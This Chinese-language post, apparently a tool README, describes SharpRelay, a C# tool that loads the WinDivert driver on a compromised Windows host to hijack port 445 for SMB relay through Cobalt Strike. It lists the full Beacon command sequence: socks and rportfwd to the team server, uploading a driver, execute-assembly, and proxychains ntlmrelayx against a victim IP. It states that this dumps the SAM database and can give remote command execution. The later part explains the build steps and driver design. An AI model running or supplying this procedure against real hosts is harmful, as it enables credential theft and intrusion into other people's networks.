此攻击的唯一要求是拥有一个具有本地管理员权限或能够加载驱动程序的 Beacon。使用 SharpRelay 的攻击步骤如下:
rportfwd 命令,将受感染主机的 8445 端口转发到我们团队服务器的 445 端口以下示例命令可从 Cobalt Strike 运行以执行这些操作:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
当以上所有命令成功执行后,您需要启动中继服务器(将 proxychains 配置为上述命令中指定的端口,例如 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
上述命令将从受害者主机中转储 SAM 数据库。也可以获得交互式 SMB shell 以及在受害者上远程执行命令。
SharpRelay 已在 Win10 x64 上测试过。
如果您想从源代码构建该工具,可以执行以下操作:
克隆仓库
通过在 Visual Studio 中打开项目->管理 NuGet 包,确保在“已安装”选项卡中可以看到所有 NuGet 包
构建项目
上述说明已在 Visual Studio 2019 中测试过。
SharpRelay 基于 WinDivert 驱动程序。根据其描述,WinDivert 是一个内核驱动程序,允许用户模式的数据包拦截和修改。用户需要指定一个过滤器,任何匹配该过滤器的数据包都将被拦截并可被修改。
来自 ReadMe 文件:
WinDivert.sys 驱动程序安装在 Windows 网络堆栈下方。 以下操作发生:
(1) 新数据包进入网络堆栈并被 WinDivert.sys 拦截
(2a) 如果数据包匹配程序定义的过滤器,它将被分流。然后程序可以通过调用 WinDivertRecv() 来读取数据包。
(2b) 如果数据包不匹配过滤器,则数据包正常继续。
(3) 程序丢弃、修改或重新注入数据包。程序可以通过调用 WinDivertSend() 重新注入(修改后的)数据包。
对我们来说,WinDivert 最重要的功能是我们能够拦截前往 Windows 开放端口的数据流量,并通过修改每个数据包的 TCP 源端口和目标端口,重新计算 TCP 校验和,并将数据包重新注入网络堆栈,从而将其重定向到另一个端口。
在 Windows 上,端口 445 默认始终运行。我不会详细说明使用端口 445 的过程,因为下面的帖子中已经对此进行了分析,请继续阅读:
上述帖子还包含了另一个有趣的想法:使用 WinDivert 通过 Metasploit 执行 SMB 中继攻击。您可以将几个 DLL 和一个驱动文件连同 divertTCPconn.exe 一起上传到目标主机并执行它们。我发现这个攻击非常棒,但我不喜欢的是必须在目标主机上上传多个 DLL。
因此,我的目标是执行相同的攻击,但在磁盘上放置最少的文件,并通过 Cobalt Strike 执行攻击。
首先,我想利用 Cobalt Strike 的 execute-assembly 功能,因此决定使用 .NET 框架编写代码。我最初的想法是将 divertTCPconn 重写为 C#,然后一切就都能工作了。结果发现这非常复杂。幸运的是,我找到了由 TechnikEmpire 编写的以下 NuGet 包:
使用 WinDivertSharp,我能够编写 SharpRelay,通过创建服务加载驱动程序,并与 WinDivert 驱动程序通信以执行我需要的任何数据包修改。